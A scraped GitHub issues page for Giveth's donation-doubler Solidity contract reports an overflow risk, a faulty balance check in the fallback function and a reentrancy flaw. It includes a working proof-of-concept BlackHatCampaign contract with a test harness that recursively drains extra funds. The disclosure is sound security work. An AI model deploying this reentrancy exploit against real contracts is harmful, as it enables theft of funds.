giveth / donation-doubler Goto Github PK
View Code? Open in Web Editor NEWLicense: GNU General Public License v3.0
License: GNU General Public License v3.0
Overflows are not likely.. but it is a great idea to always use the library @dani created for arithmetic:
https://github.com/Giveth/ds-math/blob/master/src/SafeMath.sol This will need to be applied to the fall back function for additions and multiplication. around amount
and anywhere else arithmetic happens
in fallback function if the previous balance (before payment) < msg.value, then the expression
this.balance >= msg.value
is true, but there's no enough balance after
payment to transfer msg.value * 2
test:
contract MyCampaign is Campaign {
function proxyPayment(address _owner) payable returns(bool) {
return true;
}
}
contract TestMyCampaign {
function test() payable {
MyCampaign mc = new MyCampaign();
DonationDoubler dd = new DonationDoubler(mc,0,0);
if (!dd.call.value(msg.value)()) {
throw; // **** throws and should not ****
}
}
}
also, in the second else, when this.balance < msg.value
, msg.value + this.balance
are sent to beneficiary
and is not possible to send more than the current balance.
It is possible to perform a recursive call attack, try to deploy the BlackHatCampaign
and then test it with TestBlackHatCampaign
, funding with 1 wei causes that founding is 512 times more than the expected.
contract BlackHatCampaign is Campaign {
function proxyPayment(address _owner) payable returns(bool) {
if (msg.value == 0 || msg.gas < 26000 ) { return true; }
DonationDoubler dd = DonationDoubler(msg.sender);
dd.call.value(this.balance)();
return true;
}
}
contract TestBlackHatCampaign {
event LogAmount(uint amount);
function test() payable {
BlackHatCampaign bhc = new BlackHatCampaign();
DonationDoubler dd = new DonationDoubler(bhc,0,0);
dd.depositETH.value(1000)();
dd.call.value(1)();
LogAmount(dd.balance);
LogAmount(bhc.balance);
}
}
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.